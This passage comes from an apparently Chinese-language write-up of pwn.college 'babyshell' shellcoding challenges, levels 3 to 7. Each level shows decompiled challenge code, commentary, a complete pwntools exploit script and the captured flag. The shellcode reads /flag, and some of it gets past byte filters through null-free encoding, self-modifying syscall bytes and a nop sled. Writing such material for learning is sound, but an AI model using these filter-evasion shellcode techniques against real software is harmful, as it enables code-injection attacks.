    __assert_fail(&quot;shellcode == (void *)0x2ce31000&quot;, &quot;/challenge/babyshell-level-3.c&quot;, 0x62u, &quot;main&quot;);
  printf(&quot;Mapped 0x1000 bytes for shellcode at %p!\n&quot;, (const void *)0x2CE31000);
  puts(&quot;Reading 0x1000 bytes from stdin.\n&quot;);
  shellcode_size = read(0, shellcode, 0x1000uLL);
  if ( !shellcode_size )
    __assert_fail(&quot;shellcode_size &amp;gt; 0&quot;, &quot;/challenge/babyshell-level-3.c&quot;, 0x67u, &quot;main&quot;);
  puts(&quot;Executing filter...\n&quot;);
  puts(&quot;This challenge requires that your shellcode have no NULL bytes!\n&quot;);
  for ( k = 0; k &amp;lt; (unsigned __int64)shellcode_size; ++k )
  {
    if ( !*((_BYTE *)shellcode + k) )
    {
      printf(&quot;Failed filter at byte %d!\n&quot;, k);
      exit(1);
    }
  }
  puts(&quot;This challenge is about to execute the following shellcode:\n&quot;);
  print_disassembly(shellcode, shellcode_size);
  puts(&amp;amp;byte_251D);
  puts(&quot;Executing shellcode!\n&quot;);
  ((void (*)(void))shellcode)();
  puts(&quot;### Goodbye!&quot;);
  return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这次的限制是 shellcode 的机器指令中不允许出现 &lt;code&gt;\x00&lt;/code&gt; 字节。这就需要我们好好利用各种指令组合来构造数据了。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python3

from pwn import ELF, asm, context, gdb, log, pause, process, remote

context(log_level=&quot;debug&quot;, terminal=&quot;kitty&quot;)

FILE = &quot;./babyshell-level-3&quot;
HOST, PORT = &quot;localhost&quot;, 1337

gdbscript = &quot;&quot;&quot;
c
&quot;&quot;&quot;


def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
    if local:
        elf = ELF(FILE)
        context.binary = elf

        if debug:
            return gdb.debug(
                [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp
            )
        else:
            return process([elf.path] + (argv or []), env=envp)
    else:
        return remote(HOST, PORT)


def send_payload(target, payload):
    try:
        target.send(payload)
    except Exception as e:
        log.exception(f&quot;An error occurred while sending payload: {e}&quot;)


def construct_payload():
    shellcode = asm(
        &quot;&quot;&quot;
    mov rdi, 0x67616c66
    shl rdi, 0x8
    or rdi, 0x2f
    push rdi
    lea rdi, [rsp]
    xor rsi, rsi
    xor rdx, rdx
    xor rax, rax
    or rax, 0x2
    syscall

    xor rdi, rdi
    or rdi, 0x1
    mov rsi, rax
    xor rdx, rdx
    xor r10, r10
    or r10, 0xfffffff
    xor rax, rax
    or rax, 0x28
    syscall

    dec rdi
    xor rax, rax
    or rax, 0x3c
    syscall
        &quot;&quot;&quot;
    )

    return shellcode


def attack(target, payload):
    try:
        send_payload(target, payload)

        response = target.recvall(timeout=5)

        return b&quot;pwn.college{&quot; in response
    except Exception as e:
        log.exception(f&quot;An error occurred while performing attack: {e}&quot;)


def main():
    try:
        target = launch()
        payload = construct_payload()

        if attack(target, payload):
            log.success(&quot;Success! Exiting...&quot;)

            pause()
            exit()
    except Exception as e:
        log.exception(f&quot;An error occurred in main: {e}&quot;)


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;pwntools 自动生成的代码已经避免了 &lt;code&gt;\x00&lt;/code&gt;，非常方便～&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def construct_payload():
    shellcode = shellcraft.cat(&quot;/flag&quot;)

    return asm(shellcode)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;Flag: &lt;code&gt;pwn.college{gZQWA0hDKCz5Xn8KrcsIiwIX2aZ.0VOxIDL5cTNxgzW}&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;Level 4&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Write and execute shellcode to read the flag, but your inputted data is filtered before execution.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;int __fastcall main(int argc, const char **argv, const char **envp)
{
  size_t v3; // rax
  size_t v4; // rax
  int fd; // [rsp+28h] [rbp-18h]
  int k; // [rsp+2Ch] [rbp-14h]
  const char **i; // [rsp+30h] [rbp-10h]
  const char **j; // [rsp+38h] [rbp-8h]

  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(_bss_start, 0LL, 2, 0LL);
  puts(&quot;###&quot;);
  printf(&quot;### Welcome to %s!\n&quot;, *argv);
  puts(&quot;###&quot;);
  putchar(10);
  puts(
    &quot;This challenge reads in some bytes, modifies them (depending on the specific challenge configuration), and executes them&quot;);
  puts(
    &quot;as code! This is a common exploitation scenario, called `code injection`. Through this series of challenges, you will&quot;);
  puts(
    &quot;practice your shellcode writing skills under various constraints! To ensure that you are shellcoding, rather than doing&quot;);
  puts(&quot;other tricks, this will sanitize all environment variables and arguments and close all file descriptors &amp;gt; 2.\n&quot;);
  for ( fd = 3; fd &amp;lt;= 9999; ++fd )
    close(fd);
  for ( i = argv; *i; ++i )
  {
    v3 = strlen(*i);
    memset((void *)*i, 0, v3);
  }
  for ( j = envp; *j; ++j )
  {
    v4 = strlen(*j);
    memset((void *)*j, 0, v4);
  }
  shellcode = mmap((void *)0x2D632000, 0x1000uLL, 7, 34, 0, 0LL);
  if ( shellcode != (void *)761470976 )
    __assert_fail(&quot;shellcode == (void *)0x2d632000&quot;, &quot;/challenge/babyshell-level-4.c&quot;, 0x62u, &quot;main&quot;);
  printf(&quot;Mapped 0x1000 bytes for shellcode at %p!\n&quot;, (const void *)0x2D632000);
  puts(&quot;Reading 0x1000 bytes from stdin.\n&quot;);
  shellcode_size = read(0, shellcode, 0x1000uLL);
  if ( !shellcode_size )
    __assert_fail(&quot;shellcode_size &amp;gt; 0&quot;, &quot;/challenge/babyshell-level-4.c&quot;, 0x67u, &quot;main&quot;);
  puts(&quot;Executing filter...\n&quot;);
  puts(&quot;This challenge requires that your shellcode have no H bytes!\n&quot;);
  for ( k = 0; k &amp;lt; (unsigned __int64)shellcode_size; ++k )
  {
    if ( *((_BYTE *)shellcode + k) == 0x48 )
    {
      printf(&quot;Failed filter at byte %d!\n&quot;, k);
      exit(1);
    }
  }
  puts(&quot;This challenge is about to execute the following shellcode:\n&quot;);
  print_disassembly(shellcode, shellcode_size);
  puts(&amp;amp;byte_251D);
  puts(&quot;Executing shellcode!\n&quot;);
  ((void (*)(void))shellcode)();
  puts(&quot;### Goodbye!&quot;);
  return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;显然，这次不允许我们使用 64-bit 汇编写 shellcode。Why？Cuz 64-bit 汇编指令本质上就是 32-bit 汇编的拓展，大多数指令都以前缀 &lt;code&gt;0x48&lt;/code&gt; 开始。easy peasy!&lt;/p&gt;
&lt;p&gt;&lt;code&gt;push&lt;/code&gt;、&lt;code&gt;pop&lt;/code&gt; 指令没有 &lt;code&gt;0x48&lt;/code&gt; 前缀，可以正常使用。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python3

from pwn import ELF, asm, context, gdb, log, pause, process, remote

context(log_level=&quot;debug&quot;, terminal=&quot;kitty&quot;)

FILE = &quot;./babyshell-level-4&quot;
HOST, PORT = &quot;localhost&quot;, 1337

gdbscript = &quot;&quot;&quot;
c
&quot;&quot;&quot;


def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
    if local:
        elf = ELF(FILE)
        context.binary = elf

        if debug:
            return gdb.debug(
                [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp
            )
        else:
            return process([elf.path] + (argv or []), env=envp)
    else:
        return remote(HOST, PORT)


def send_payload(target, payload):
    try:
        target.send(payload)
    except Exception as e:
        log.exception(f&quot;An error occurred while sending payload: {e}&quot;)


def construct_payload():
    shellcode = asm(
        &quot;&quot;&quot;
    lea ebx, [eip+0x2c]
    xor ecx, esi
    xor edx, edx
    mov eax, 0x5
    int 0x80

    mov ebx, 0x1
    mov ecx, eax
    xor edx, edx
    mov esi, 0x1000
    mov eax, 0xbb
    int 0x80

    mov ebx, 0x0
    mov eax, 0x1
    int 0x80

flag:
    .string &quot;/flag&quot;
        &quot;&quot;&quot;
    )

    return shellcode


def attack(target, payload):
    try:
        send_payload(target, payload)

        response = target.recvall(timeout=5)

        return b&quot;pwn.college{&quot; in response
    except Exception as e:
        log.exception(f&quot;An error occurred while performing attack: {e}&quot;)


def main():
    try:
        target = launch()
        payload = construct_payload()

        if attack(target, payload):
            log.success(&quot;Success! Exiting...&quot;)

            pause()
            exit()
    except Exception as e:
        log.exception(f&quot;An error occurred in main: {e}&quot;)


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里再提供一种写法：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.global _start
.intel_syntax noprefix

_start:
  push 0x2f
  mov dword ptr [rsp + 1], 0x67616c66
  push rsp
  pop rdi
  xor esi, esi
  xor edx, edx
  mov al, 0x2
  syscall

  mov edi, 0x1
  mov esi, eax
  xor edx, edx
  mov r10, 0x1000
  mov al, 0x28
  syscall

  xor edi, edi
  mov al, 0x3c
  syscall
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;由于这题只是不想让我们用 64-bit 的指令，所以我们不能简单的通过 pwntools 生成 32-bit 指令来解决。这样生成出来的指令无法执行，我估计是内存对齐问题导致？因为这个程序本生是 amd64 的。&lt;/p&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;Flag: &lt;code&gt;pwn.college{wqf2fgp7CVvoI3yhbzzsqtw5OC3.0FMyIDL5cTNxgzW}&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;Level 5&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Write and execute shellcode to read the flag, but the inputted data cannot contain any form of system call bytes (syscall, sysenter, int), can you defeat this?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;int __fastcall main(int argc, const char **argv, const char **envp)
{
  size_t v3; // rax
  size_t v4; // rax
  int fd; // [rsp+20h] [rbp-20h]
  int k; // [rsp+24h] [rbp-1Ch]
  const char **i; // [rsp+28h] [rbp-18h]
  const char **j; // [rsp+30h] [rbp-10h]
  _WORD *v11; // [rsp+38h] [rbp-8h]

  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(_bss_start, 0LL, 2, 0LL);
  puts(&quot;###&quot;);
  printf(&quot;### Welcome to %s!\n&quot;, *argv);
  puts(&quot;###&quot;);
  putchar(10);
  puts(
    &quot;This challenge reads in some bytes, modifies them (depending on the specific challenge configuration), and executes them&quot;);
  puts(
    &quot;as code! This is a common exploitation scenario, called `code injection`. Through this series of challenges, you will&quot;);
  puts(
    &quot;practice your shellcode writing skills under various constraints! To ensure that you are shellcoding, rather than doing&quot;);
  puts(&quot;other tricks, this will sanitize all environment variables and arguments and close all file descriptors &amp;gt; 2.\n&quot;);
  for ( fd = 3; fd &amp;lt;= 9999; ++fd )
    close(fd);
  for ( i = argv; *i; ++i )
  {
    v3 = strlen(*i);
    memset((void *)*i, 0, v3);
  }
  for ( j = envp; *j; ++j )
  {
    v4 = strlen(*j);
    memset((void *)*j, 0, v4);
  }
  shellcode = mmap((void *)0x1A315000, 0x1000uLL, 7, 34, 0, 0LL);
  if ( shellcode != (void *)439439360 )
    __assert_fail(&quot;shellcode == (void *)0x1a315000&quot;, &quot;/challenge/babyshell-level-5.c&quot;, 0x62u, &quot;main&quot;);
  printf(&quot;Mapped 0x1000 bytes for shellcode at %p!\n&quot;, (const void *)0x1A315000);
  puts(&quot;Reading 0x1000 bytes from stdin.\n&quot;);
  shellcode_size = read(0, shellcode, 0x1000uLL);
  if ( !shellcode_size )
    __assert_fail(&quot;shellcode_size &amp;gt; 0&quot;, &quot;/challenge/babyshell-level-5.c&quot;, 0x67u, &quot;main&quot;);
  puts(&quot;Executing filter...\n&quot;);
  puts(
    &quot;This challenge requires that your shellcode does not have any `syscall`, &apos;sysenter&apos;, or `int` instructions. System calls&quot;);
  puts(&quot;are too dangerous! This filter works by scanning through the shellcode for the following byte sequences: 0f05&quot;);
  puts(&quot;(`syscall`), 0f34 (`sysenter`), and 80cd (`int`). One way to evade this is to have your shellcode modify itself to&quot;);
  puts(&quot;insert the `syscall` instructions at runtime.\n&quot;);
  for ( k = 0; k &amp;lt; (unsigned __int64)shellcode_size; ++k )
  {
    v11 = (char *)shellcode + k;
    if ( *v11 == 0x80CD || *v11 == 0x340F || *v11 == 0x50F )
    {
      printf(&quot;Failed filter at byte %d!\n&quot;, k);
      exit(1);
    }
  }
  puts(&quot;This challenge is about to execute the following shellcode:\n&quot;);
  print_disassembly(shellcode, shellcode_size);
  puts(&amp;amp;byte_2675);
  puts(&quot;Executing shellcode!\n&quot;);
  ((void (*)(void))shellcode)();
  puts(&quot;### Goodbye!&quot;);
  return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;不让出现系统调用原语的机器码，绕过方法非常 ez 啊，请看 exp。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python3

from pwn import ELF, asm, context, gdb, log, pause, process, remote

context(log_level=&quot;debug&quot;, terminal=&quot;kitty&quot;)

FILE = &quot;./babyshell-level-5&quot;
HOST, PORT = &quot;localhost&quot;, 1337

gdbscript = &quot;&quot;&quot;
c
&quot;&quot;&quot;


def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
    if local:
        elf = ELF(FILE)
        context.binary = elf

        if debug:
            return gdb.debug(
                [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp
            )
        else:
            return process([elf.path] + (argv or []), env=envp)
    else:
        return remote(HOST, PORT)


def send_payload(target, payload):
    try:
        target.send(payload)
    except Exception as e:
        log.exception(f&quot;An error occurred while sending payload: {e}&quot;)


def construct_payload():
    shellcode = &quot;&quot;&quot;
    /* push b&apos;/flag\x00&apos; */
    mov rax, 0x101010101010101
    push rax
    mov rax, 0x101010101010101 ^ 0x67616c662f
    xor [rsp], rax
    /* call open(&apos;rsp&apos;, &apos;O_RDONLY&apos;, &apos;rdx&apos;) */
    push 2 /* 2 */
    pop rax
    mov rdi, rsp
    xor esi, esi /* O_RDONLY */
    inc byte ptr [rip + 1]
    .byte 0x0f, 0x04
    /* call sendfile(1, &apos;rax&apos;, 0, 0x7fffffff) */
    mov r10d, 0x7fffffff
    mov rsi, rax
    push 40 /* 0x28 */
    pop rax
    push 1
    pop rdi
    cdq /* rdx=0 */
    inc byte ptr [rip + 1]
    .byte 0x0f, 0x04
    &quot;&quot;&quot;

    return asm(shellcode)


def attack(target, payload):
    try:
        send_payload(target, payload)

        response = target.recvall(timeout=5)

        return b&quot;pwn.college{&quot; in response
    except Exception as e:
        log.exception(f&quot;An error occurred while performing attack: {e}&quot;)


def main():
    try:
        target = launch()
        payload = construct_payload()

        if attack(target, payload):
            log.success(&quot;Success! Exiting...&quot;)

            pause()
            exit()
    except Exception as e:
        log.exception(f&quot;An error occurred in main: {e}&quot;)


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;Flag: &lt;code&gt;pwn.college{AJ-22D5IQdnex2KL8LxB8zOq02R.0VMyIDL5cTNxgzW}&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;Level 6&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Write and execute shellcode to read the flag, but the inputted data cannot contain any form of system call bytes (syscall, sysenter, int), this challenge adds an extra layer of difficulty!&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;int __fastcall main(int argc, const char **argv, const char **envp)
{
  size_t v3; // rax
  size_t v4; // rax
  int fd; // [rsp+20h] [rbp-20h]
  int k; // [rsp+24h] [rbp-1Ch]
  const char **i; // [rsp+28h] [rbp-18h]
  const char **j; // [rsp+30h] [rbp-10h]
  _WORD *v11; // [rsp+38h] [rbp-8h]

  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(_bss_start, 0LL, 2, 0LL);
  puts(&quot;###&quot;);
  printf(&quot;### Welcome to %s!\n&quot;, *argv);
  puts(&quot;###&quot;);
  putchar(10);
  puts(
    &quot;This challenge reads in some bytes, modifies them (depending on the specific challenge configuration), and executes them&quot;);
  puts(
    &quot;as code! This is a common exploitation scenario, called `code injection`. Through this series of challenges, you will&quot;);
  puts(
    &quot;practice your shellcode writing skills under various constraints! To ensure that you are shellcoding, rather than doing&quot;);
  puts(&quot;other tricks, this will sanitize all environment variables and arguments and close all file descriptors &amp;gt; 2.\n&quot;);
  for ( fd = 3; fd &amp;lt;= 9999; ++fd )
    close(fd);
  for ( i = argv; *i; ++i )
  {
    v3 = strlen(*i);
    memset((void *)*i, 0, v3);
  }
  for ( j = envp; *j; ++j )
  {
    v4 = strlen(*j);
    memset((void *)*j, 0, v4);
  }
  shellcode = mmap((void *)0x26E45000, 0x2000uLL, 7, 34, 0, 0LL);
  if ( shellcode != (void *)652496896 )
    __assert_fail(&quot;shellcode == (void *)0x26e45000&quot;, &quot;/challenge/babyshell-level-6.c&quot;, 0x62u, &quot;main&quot;);
  printf(&quot;Mapped 0x2000 bytes for shellcode at %p!\n&quot;, (const void *)0x26E45000);
  puts(&quot;Reading 0x2000 bytes from stdin.\n&quot;);
  shellcode_size = read(0, shellcode, 0x2000uLL);
  if ( !shellcode_size )
    __assert_fail(&quot;shellcode_size &amp;gt; 0&quot;, &quot;/challenge/babyshell-level-6.c&quot;, 0x67u, &quot;main&quot;);
  puts(&quot;Executing filter...\n&quot;);
  puts(
    &quot;This challenge requires that your shellcode does not have any `syscall`, &apos;sysenter&apos;, or `int` instructions. System calls&quot;);
  puts(&quot;are too dangerous! This filter works by scanning through the shellcode for the following byte sequences: 0f05&quot;);
  puts(&quot;(`syscall`), 0f34 (`sysenter`), and 80cd (`int`). One way to evade this is to have your shellcode modify itself to&quot;);
  puts(&quot;insert the `syscall` instructions at runtime.\n&quot;);
  for ( k = 0; k &amp;lt; (unsigned __int64)shellcode_size; ++k )
  {
    v11 = (char *)shellcode + k;
    if ( *v11 == 0x80CD || *v11 == 0x340F || *v11 == 0x50F )
    {
      printf(&quot;Failed filter at byte %d!\n&quot;, k);
      exit(1);
    }
  }
  puts(&quot;Removing write permissions from first 4096 bytes of shellcode.\n&quot;);
  if ( mprotect(shellcode, 0x1000uLL, 5) )
    __assert_fail(
      &quot;mprotect(shellcode, 4096, PROT_READ|PROT_EXEC) == 0&quot;,
      &quot;/challenge/babyshell-level-6.c&quot;,
      0x79u,
      &quot;main&quot;);
  puts(&quot;This challenge is about to execute the following shellcode:\n&quot;);
  print_disassembly(shellcode, shellcode_size);
 puts(&amp;amp;byte_26ED);
  puts(&quot;Executing shellcode!\n&quot;);
  ((void (*)(void))shellcode)();
  puts(&quot;### Goodbye!&quot;);
  return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;还是没难度。首先不允许出现系统调用原语的机器码，其次会在执行 shellcode 前移除前 &lt;code&gt;0x1000&lt;/code&gt; 字节区块的写权限。由于我们的 shellcode 会去修改自生的指令来绕过不允许出现系统调用原语的机器码，所以肯定不能把 shellcoded 写在前 &lt;code&gt;0x1000&lt;/code&gt; 字节的区块中，因为程序读了 &lt;code&gt;0x2000&lt;/code&gt; 字节，所以我们把核心代码写到前 &lt;code&gt;0x1000&lt;/code&gt; 字节之后即可。至于这前 &lt;code&gt;0x1000&lt;/code&gt; 字节，我们一个 &lt;code&gt;nop&lt;/code&gt; 滑铲滑过去就好了。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python3

from pwn import ELF, asm, context, gdb, log, pause, process, remote, shellcraft

context(log_level=&quot;debug&quot;, terminal=&quot;kitty&quot;)

FILE = &quot;./babyshell-level-6&quot;
HOST, PORT = &quot;localhost&quot;, 1337

gdbscript = &quot;&quot;&quot;
c
&quot;&quot;&quot;


def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
    if local:
        elf = ELF(FILE)
        context.binary = elf

        if debug:
            return gdb.debug(
                [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp
            )
        else:
            return process([elf.path] + (argv or []), env=envp)
    else:
        return remote(HOST, PORT)


def send_payload(target, payload):
    try:
        target.send(payload)
    except Exception as e:
        log.exception(f&quot;An error occurred while sending payload: {e}&quot;)


def construct_payload(sled_length):
    shellcode = shellcraft.nop() * sled_length
    shellcode += &quot;&quot;&quot;
    /* push b&apos;/flag\x00&apos; */
    mov rax, 0x101010101010101
    push rax
    mov rax, 0x101010101010101 ^ 0x67616c662f
    xor [rsp], rax
    /* call open(&apos;rsp&apos;, &apos;O_RDONLY&apos;, &apos;rdx&apos;) */
    push 2 /* 2 */
    pop rax
    mov rdi, rsp
    xor esi, esi /* O_RDONLY */
    inc byte ptr [rip + 1]
    .byte 0x0f, 0x04
    /* call sendfile(1, &apos;rax&apos;, 0, 0x7fffffff) */
    mov r10d, 0x7fffffff
    mov rsi, rax
    push 40 /* 0x28 */
    pop rax
    push 1
    pop rdi
    cdq /* rdx=0 */
    inc byte ptr [rip + 1]
    .byte 0x0f, 0x04
    &quot;&quot;&quot;

    return asm(shellcode)


def attack(target, payload):
    try:
        send_payload(target, payload)

        response = target.recvall(timeout=5)

        return b&quot;pwn.college{&quot; in response
    except Exception as e:
        log.exception(f&quot;An error occurred while performing attack: {e}&quot;)


def main():
    try:
        target = launch()
        payload = construct_payload(0x1000)

        if attack(target, payload):
            log.success(&quot;Success! Exiting...&quot;)

            pause()
            exit()
    except Exception as e:
        log.exception(f&quot;An error occurred in main: {e}&quot;)


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;Flag: &lt;code&gt;pwn.college{kfVRmOzEaLCMSxdS_zQkxZr6BEv.0lMyIDL5cTNxgzW}&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;Level 7&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Write and execute shellcode to read the flag, but all file descriptors (including stdin, stderr and stdout!) are closed.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;int __fastcall main(int argc, const char **argv, const char **envp)
{
  size_t v3; // rax
  size_t v4; // rax
  int fd; // [rsp+2Ch] [rbp-14h]
  const char **i; // [rsp+30h] [rbp-10h]
  const char **j; // [rsp+38h] [rbp-8h]

  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  puts(&quot;###&quot;);
  printf(&quot;### Welcome to %s!\n&quot;, *argv);
  puts(&quot;###&quot;);
  putchar(10);
  puts(
    &quot;This challenge reads in some bytes, modifies them (depending on the specific challenge configuration), and executes them&quot;);
  puts(
    &quot;as code! This is a common exploitation scenario, called `code injection`. Through this series of challenges, you will&quot;);
  puts(
    &quot;practice your shellcode writing skills under various constraints! To ensure that you are shellcoding, rather than doing&quot;);
  puts(&quot;other tricks, this will sanitize all environment variables and arguments and close all file descriptors &amp;gt; 2.\n&quot;);
  for ( fd = 3; fd &amp;lt;= 9999; ++fd )
    close(fd);
  for ( i = argv; *i; ++i )
  {
    v3 = strlen(*i);
    memset((void *)*i, 0, v3);
  }
  for ( j = envp; *j; ++j )
  {
    v4 = strlen(*j);
    memset((void *)*j, 0, v4);
  }
  shellcode = mmap((void *)0x2483B000, 0x4000uLL, 7, 34, 0, 0LL);
  if ( shellcode != (void *)612610048 )
    __assert_fail(&quot;shellcode == (void *)0x2483b000&quot;, &quot;/challenge/babyshell-level-7.c&quot;, 0x62u, &quot;main&quot;);
  printf(&quot;Mapped 0x4000 bytes for shellcode at %p!\n&quot;, (const void *)0x2483B000);
  puts(&quot;Reading 0x4000 bytes from stdin.\n&quot;);
  shellcode_size = read(0, shellcode, 0x4000uLL);
  if ( !shellcode_size )
    __assert_fail(&quot;shellcode_size &amp;gt; 0&quot;, &quot;/challenge/babyshell-level-7.c&quot;, 0x67u, &quot;main&quot;);
  puts(&quot;This challenge is about to execute the following shellcode:\n&quot;);
  print_disassembly(shellcode, shellcode_size);
  puts(byte_24A5);
  puts(
    &quot;This challenge is about to close stdin, which means that it will be harder to pass in a stage-2 shellcode. You will need&quot;);
  puts(&quot;to figure an alternate solution (such as unpacking shellcode in memory) to get past complex filters.\n&quot;);
  if ( fclose(stdin) )
    __assert_fail(&quot;fclose(stdin) == 0&quot;, &quot;/challenge/babyshell-level-7.c&quot;, 0x6Fu, &quot;main&quot;);
  puts(
    &quot;This challenge is about to close stderr, which means that you will not be able to use file descriptor 2 for output.\n&quot;);
  if ( fclose(stderr) )
    __assert_fail(&quot;fclose(stderr) == 0&quot;, &quot;/challenge/babyshell-level-7.c&quot;, 0x72u, &quot;main&quot;);
  puts(
    &quot;This challenge is about to close stdout, which means that you will not be able to use file descriptor 1 for output. You&quot;);
  puts(&quot;will see no further output, and will need to figure out an alternate way of communicating data back to yourself.\n&quot;);
  if ( fclose(stdout) )
    __assert_fail(&quot;fclose(stdout) == 0&quot;, &quot;/challenge/babyshell-level-7.c&quot;, 0x76u, &quot;main&quot;);
  puts(&quot;Executing shellcode!\n&quot;);
  ((void (*)(void))shellcode)();
  puts(&quot;### Goodbye!&quot;);
  return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;~开玩笑，没有输入输出错误流还能困得住我不成 LOL~&lt;/p&gt;
&lt;p&gt;请原谅我肚子饿了，实在懒得写思路了，现在只想快快恰饭，所以请师傅看 exp。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python3

from pwn import ELF, asm, context, gdb, log, process, remote, shellcraft

context(log_level=&quot;debug&quot;, terminal=&quot;kitty&quot;)

FILE = &quot;./babyshell-level-7&quot;
HOST, PORT = &quot;localhost&quot;, 1337

gdbscript = &quot;&quot;&quot;
c
&quot;&quot;&quot;


def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
    if local:
        elf = ELF(FILE)
        context.binary = elf

        if debug:
            return gdb.debug(
                [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp
            )
        else:
            return process([elf.path] + (argv or []), env=envp)
    else:
        return remote(HOST, PORT)


def send_payload(target, payload):
    try:
        target.send(payload)
        target.recvall(timeout=5)
    except Exception as e:
        log.exception(f&quot;An error occurred while sending payload: {e}&quot;)


def construct_payload():
    shellcode = shellcraft.open(&quot;/flag&quot;)
    shellcode += &quot;&quot;&quot;
    /* push out_fd */
    push rax
    &quot;&quot;&quot;
    shellcode += shellcraft.open(&quot;./flag&quot;, &quot;O_WRONLY | O_CREAT&quot;, 0o0644)
    shellcode += &quot;&quot;&quot;
    /* sendfile(&apos;rax&apos;, &apos;[rsp+8]&apos;, 0, 0x1000) */
    mov rdi, rax
    mov rsi, [rsp+0x8]
    xor rdx, rdx
    mov r10, 0x1000
    mov rax, SYS_sendfile
    syscall
    &quot;&quot;&quot;
    shellcode += shellcraft.exit(0)

    return asm(shellcode)


def attack(target, payload):
    send_payload(target, payload)

    try:
        with open(&quot;./flag&quot;, &quot;r&quot;) as file:
            content = file.read()

            log.success(content)
    except FileNotFoundError:
        log.error(&quot;The file &apos;./flag&apos; does not exist.&quot;)
    except PermissionError:
        log.error(&quot;Permission denied to read &apos;./flag&apos;.&quot;)
    except Exception as e:
        log.exception(f&quot;An error occurred while performing attack: {e}&quot;)


def main():
    try:
        target = launch()
        payload = construct_payload()

        attack(target, payload)
    except Exception as e:
        log.exception(f&quot;An error occurred in main: {e}&quot;)


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;其实这题用 &lt;code&gt;chmod&lt;/code&gt; 写起来更简单一点呢。&lt;/p&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;Flag: &lt;code&gt;pwn.college{Y3UgyYnfUmoR24PWDDkCs1W8h92.01MyIDL5cTNxgzW}&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;Level 8&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Write and execute shellcode to read the flag, but you only get 18 bytes.&lt;/p&gt;
&lt;/blockquote&gt;
